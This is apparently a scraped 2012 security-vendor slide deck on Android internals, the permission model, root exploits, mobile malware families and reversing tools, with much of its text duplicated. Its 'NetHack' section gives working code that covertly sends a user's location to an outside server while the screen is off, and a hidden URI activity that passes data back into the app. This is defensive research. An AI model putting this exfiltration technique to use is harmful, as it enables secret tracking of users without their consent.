mobile security overview 23 april 2012. agenda ‣ mobile threat landscape ‣ security/permissions...

Mobile Security Overview23 April 2012

Agenda

‣ Mobile threat landscape‣ Security/permissions model & the

mythical sandbox‣ Vulnerabilities‣ Android platform patchcycle‣ Mobile malware‣ Mobile malware analysis tools

Lookout, Inc. Proprietary and Confidential Information

Mobile Threat Landscape


Mobile Threat Surface


Network-based

Application-based

Web-based

Malware Motivations

‣ Toll fraud:

‣ Phones are a wallet of sorts

‣ Premium SMS

‣ Premium rate international dialing


Malware Motivations

‣ Shady distribution:

‣ Bundling package push with popular apps

‣ Ranges from annoying to forced installation


Malware Motivations

‣ Remote control:

‣ Two-factor auth MiTM

‣ Spam (SMS, etc)

‣ Targeted surveillance


App Repackaging


Malvertising


Android Internals


Android Manifest

• AndroidManifest.xml – Every application must have one

• Declares the package name, a unique identifier for every app

• Describes applications components (Activities, Services, BroadcastReceivers, etc)

• Declares requested permissions “needed” to access protected API’s (If only there were a way to get around that...)

• Declares permissions other applications are required to have to interact with applications components


Activity

• A way for users to interact with the application

• Composed of Views:

• Button• TextView• ImageView• etc...


Activity

•Managed as an Activity stack

•New/foreground activity on top of stack. In running/active state

•Previous Activities below in paused state

•Removed from stack when Activity finishes


Activity

• An application can start another application’s Activity!

• Activity runs in its application’s process.

• Callee doesn’t necessarily have access to Activity’s data

• Permission attribute in manifest can restrict who can start the Activity.


Intent

• “An abstract description of an operation to be performed”

• Simple IPC for applications

• Intents can be sent with data


Intent

• Can be used to start an Activity with startActivity()

• Intents can be broadcast system wide with sendBroadcast()

• Communicate with a background Service

• Two main components:

• Action• Data (URI: http:, content:, geo:, etc...)

Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com")); startActivity(myIntent);Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.google.com")); startActivity(myIntent);


http://www.google.com/

http://www.google.com/

Broadcast Receiver

• Receives an Intent

• Can be created dynamically with registerBroadcast() or declared in the manifest with the <receiver> tag

• Receives two types of broadcasts:

• Normal Broadcasts – Asynchronous; Cannot be aborted

• Ordered Broadcasts – Delivered serially; Can be aborted or pass result to next receiver


Broadcast Receiver

• Permissions can be enforced

• Sender can declare permission for who can receive the Intent

• Receiver can declare permissionfor who can send an Intent to it


Service

• Component to do work in the background

• NOT a separate process

• NOT a thread

• Kind of like an Activity without a UI

• Can enforce access to service with a required permission


Security/Permission ModelThe Mythical Sandbox


The Sandbox

• The VM is not the sandbox• Unix multi-user (uid/gid) sandbox!• Each app is a different uid

• Lightweight VM running for each process

• Breaking out of the VM gains you nothing

• Apps can request to share a uid (Both must be signed with the same key)


Permissions

• Default application has no permissions granted

• Finer grained access to content/APIs• android.permission.READ_SMS• android.permission.CHANGE_WIFI_ST

ATE• etc..

• Declared in AndroidManifest.xml


Permissions

• Some permissions are fairly coarse

• IMEI, IMSI, MSISDN/Phone #

• Finer grained access to content/APIs• android.permission.SEND_SMS• android.permission.READ_SMS• android.permission.CHANGE_WIFI_ST

ATE• etc..

• Declared in AndroidManifest.xml


Why permissions matter

• Permissions gate what an App can do

• Users are required to OK permissions before downloading an App

• Users can decipher to some degree whether permissions are appropriate


Why permissions matter

VS


What does 0 permissions mean?

• No permission screen at all!

• Straight to download

• Why should a user worry about an App Android doesn’t warn about?


Why ask for permission when you can ask for forgiveness?


• Apps or games not requesting INTERNET seem low risk.

• Your sandbox can’t access the internet.

• Ask your neighbor!

• Pop open a browser.

NetHack

startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://mysite.com/data?lat=" + lat + "&lon=" + lon)));startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://mysite.com/data?lat=" + lat + "&lon=" + lon)));

0 Perm UPLOAD


http://mysite.com/data?lat=

http://mysite.com/data?lat=

• Can we do this secretly?

• Obscuring browser (onPause()) stops page from loading.

32.175.xxx.xxx - - [03:30:36] "GET /data?lat=123.2&lon=32.2 HTTP/1.1" 404 20332.175.xxx.xxx - - [03:30:36] "GET /data?lat=123.2&lon=32.2 HTTP/1.1" 404 203

0 Perm UPLOAD


• How about we only pop up browsers when the screen is off?

• Need to close browser when the screen turns on

• Bonus Points: Redirect to http://www.google.com when you’re done (or read browser history from logs)

0 Perm UPLOAD


http://google.com/

// Lets send if no one is looking! PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); if (!pm.isScreenOn()) { Log.e("NetHack", "Screen off"); startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags (Intent.FLAG_ACTIVITY_NEW_TASK)); mBrowserDisplayed = true; } else if (mBrowserDisplayed) { Log.e("NetHack", "Screen on"); startActivity(new Intent(Intent.ACTION_MAIN).addCategory (Intent.CATEGORY_HOME)); mBrowserDisplayed = false; }

// Lets send if no one is looking! PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); if (!pm.isScreenOn()) { Log.e("NetHack", "Screen off"); startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags (Intent.FLAG_ACTIVITY_NEW_TASK)); mBrowserDisplayed = true; } else if (mBrowserDisplayed) { Log.e("NetHack", "Screen on"); startActivity(new Intent(Intent.ACTION_MAIN).addCategory (Intent.CATEGORY_HOME)); mBrowserDisplayed = false; }

But what about two way communication?

0 Perm UPLOAD


http://67.180.50.243:8080/track?lat=123.2&lon=32.2&count=








0 Perm Bidirectional

•Pop browser to page with downloadable content-type (http://mysite.com/data.zip)

•Default Android browser automatically saves it to /sdcard/downloads/data.zip

•But there are some downsides...


•No way to clear notifications

• To clean up the filesystem you need to request WRITE_EXTERNAL_STORAGE

• Automatically requested if you target Android 1.5



•How about a custom URI receiver?

•Google Maps uses geo:latitude,longitude?zoom to automatically launch their App

•We can do the same!



• We can register ourselves for nethack://

• Redirect our page from before to nethack:data?param=server_data

• This has to be an <activity>, not a <receiver> (It is meant for foreground interactions)

<activity android:name=".NetHackReceiver">

<intent-filter><action

android:name="android.intent.action.VIEW"/><category

android:name="android.intent.category.DEFAULT"/><category

android:name="android.intent.category.BROWSABLE"/><data android:scheme="nethack" android:host="data"/>

</intent-filter></activity>

<activity android:name=".NetHackReceiver">

<intent-filter><action

android:name="android.intent.action.VIEW"/><category

android:name="android.intent.category.DEFAULT"/><category

android:name="android.intent.category.BROWSABLE"/><data android:scheme="nethack" android:host="data"/>

</intent-filter></activity>

• Activity is never seen if you call finish() in onCreate()

• Data is available in the Intent

• Bonus Points: New tab for nethack URI and redirect original page to http://google.com

public class NetHackReceiver extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.e("NetHack", "URI: " + getIntent().toURI()); finish(); // So no one ever sees this activity }}

public class NetHackReceiver extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.e("NetHack", "URI: " + getIntent().toURI()); finish(); // So no one ever sees this activity }}

E/NetHack ( 8647): URI: nethack:data?param=MySecret#Intent;action=android.intent.action.VIEW;category=android.intent.category.BROWSABLE;launchFlags=0x400000;component=com.lookout.nethack/.NetHack;end

E/NetHack ( 8647): URI: nethack:data?param=MySecret#Intent;action=android.intent.action.VIEW;category=android.intent.category.BROWSABLE;launchFlags=0x400000;component=com.lookout.nethack/.NetHack;end



Vulnerabilities


System Privilege Escalations

•Software has vulns. We expect this.

•Malware has primarily relied on 3 prominent privilege escalations.

•Slow (or non-existent) patch cycles leave a long tail of impact

•Also, lots of old things are new …


Exploid

•Disclosed: 2010-07-15

•Unchecked origin of uevent messages in init.

•Patch - 2.2: 2010-07-19


RATC/Zimperlich

•Disclosed: 2010-08-21/ 2010-12-30

•Unchecked setuid() return value in adb/zygote

•Patch - 2.3: 2010-08-27 / 2010-08-30

•Backport - 2.2: 2010-08-30


Gingerbreak/Honeybomb

•Disclosed: 2011-04-21

•Vold uevent origin bug + arbitrary offset 4byte write

•Patch - 2.3: 2011-04-18

•Backport - 2.2: 2011-04-26


And many more …

• Many are hardware/OEM-specific

• Many OEM utilities are not coded securely

• Sometimes it feels like reading bugtraq circa 1995

• Vulns are often reserved for rooting devices

• We have yet to see malicious use of a remote, but it will happen


On Lockdown

•Devices ship with firmware locked down

•Motivations: Radio Security, DRM

•This prevents enthusiast modification of the OS image


Jailbreaking

•Enthusiasts are undeterred

•Exploits have generally been published to jailbreak devices

•Unfortunately they’re also used by malware authors

•In many cases vendors are notified, but not always

•Net impact is negative for handset security


App Vulns

• What about user-level applications?

• Entry points (Activities, Receivers, Services, Providers) can expose unsafe behaviors leading to compromised authorization

• Eg. Process execution

• Again, everything old is new …

• Eg. Process umask (022 vs 000)


Android Platform Patch Cycle


Platform – OSS Libs


• Android devices are complex software systems• Over 115 OSS libs integrated into AOSP

Platform – Native Code


• Over 60% of code is native

Platform Ecosystem


Compatibility Test Suite (CTS)


‣Prior to releasing any update the CTS must be passing in order to remain Android Compatible

‣Originally to prevent breaking compatibility w/ 3rd party apps

‣Now security based tests for vulnerabilities and bad practices‣ Checks for setuid apps, public keys, known

vulns, etc.

Android Release Family


Good Release Cycle – Google Nexus One


‣Devices have patches rolled out to them consistently

‣Not just major releases – also incremental updates

Bad Release Cycle – Huawei ‘Ascend’


‣Something’s wrong here…

Mobile Malware


DroidDream

• Publicly disclosed March 1st, 2011

• 250k devices affected from the Market

• DDLight is related but doesn’t escalate privs.

• Attempts to use either exploid or RAtC to root device, leaves su shim behind to regain access

• Remounts /system and pushes apks to /system/app


BaseBridge

• Publicly disclosed March 17th, 2011

• Over 10 unique variants detected

• Attempts to use RAtC to root device

• Remounts /system and pushes apks to /system/app


zHash

• Publicly disclosed March 20th, 2011

• 3 unique variants detected

• Attempts to use Exploid to root device, leaves a su shim behind as /system/bin/extend

• Changes secure settings for possible development reasons


Legacy / DroidKungFu / DroidKungFu2

• Publicly disclosed April 4th, 2011

• Attempts to use Exploid and RAtC to root device

• Remounts /system and pushes an apk to /system/app


jSMSHider

• Publicly disclosed June 15th, 2011

• Exploits compromised platform key vulnerability

• Can silently download/install w/o user intervention


RootSmart

• Publicly disclosed February 2012

• Masquerades as settings app

• Downloads and executes Gingerbreak

• Dropper for DroidLive


LeNa

• Publicly disclosed October 20, 2011

• Packaged with apps that conceivably need root (VPN, etc)

• Payload is primarily native ARM

• Variant uncovered April 2012 that hide Gingerbreak inside a fully functional JPEG


Mobile Malware Analysis Tools


Different ways to tackle the problem

• Looking directly at DEX files

• Converting to a intermediate language

• Converting back to a higher level language (Java)

• Pro’s and Con’s for both


Looking right at the op codes

• Like looking at dead listing of ASM

• Some nice templates for viewing (010 Editor)

• Liable to drive you insane

• Opcodes – http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html

• +1 nerd skills


IDA Pro

• Reading dex at the “assembly level”

• Can also handle ELF ARM executable (native code)

• Most commonly used professional reversing tool

• Easily scriptable / Somewhat easily automated / Allows for SDK plugins

• Looks pretty



Decryption Script

IDA Pro Pros & Cons

• + Endless uses, easy renaming, very stable

• + Best tool for ELF reversing available

• - Costs a ton (1.5k+)

• - Some functionality not supported for dex files (xref)

• - Hard to share work between reversers

• - Closed source


(bak)smali

• Intermediate “jasmin” style language

• Most used tool

• Maintained by a (now) Google employee JesusFreke

• Open Source ( http://code.google.com/p/smali/ )

• Also recompilation!


http://code.google.com/p/smali/

baksmali Pros

• Easily readable code

• Highlighters available foremacs/vim/notepad++

• Open Source FTW!

• Recompilation

• Easy usage with apktool

• Extra output (debug/variable names)


baksmali Cons

• Reading directly disassembled compiler code / can be hard to get used too

• No real IDE integration

• No GUI


Dex2jar + ded + others

• Converts dex files to java class files (converting dex opcodes to java opcodes)

• Use java decompilation tools afterwards (jd-gui, jad, etc)

• Issue arrise, hard to solve the problem since dalvik is a register based vm where types don’t matter unlike the jvm


Dex2jar + ded + others Pros & Cons

• + Leverage Java tools on dalvik based code (iffy sometimes)

• - Prone to issues

• - Going from high level, to machine optimized back to high level loses context often (hard to reroll loops perfectly)



Wat?

Ok – got the tools – now what?

• How do tell if something is bad?

• How do I tell what it’s doing and how?


“Bad” is subjective

• “jailbreak”, “rooting” or “exploit” ?

• Did you tell me you’d root my device? (ex: zHash)

• Did you tell me you’d charge me money?


“Bad” is subjective


Are you trying to confuse the user?

Or are you just bad a UI?

Did you abort the SMS received telling

me I am being charged?

Awesome!

• So you didn’t fall asleep?

• Interesting in reversing?

• But what can I reverse!

• http://contagiominidump.blogspot.com


http://contagiominidump.blogspot.com/

Now – in Java (magic happened to D.k())


Thanks!

‣ [email protected]‣ [email protected]‣ [email protected]


mobile security overview 23 april 2012. agenda ‣ mobile threat landscape ‣ security/permissions...

Documents

applications activity

activity finisheslookout

applications componentslookout

applications process

types of broadcasts

abortedordered broadcasts

normal broadcasts asynchronous

actiondata uri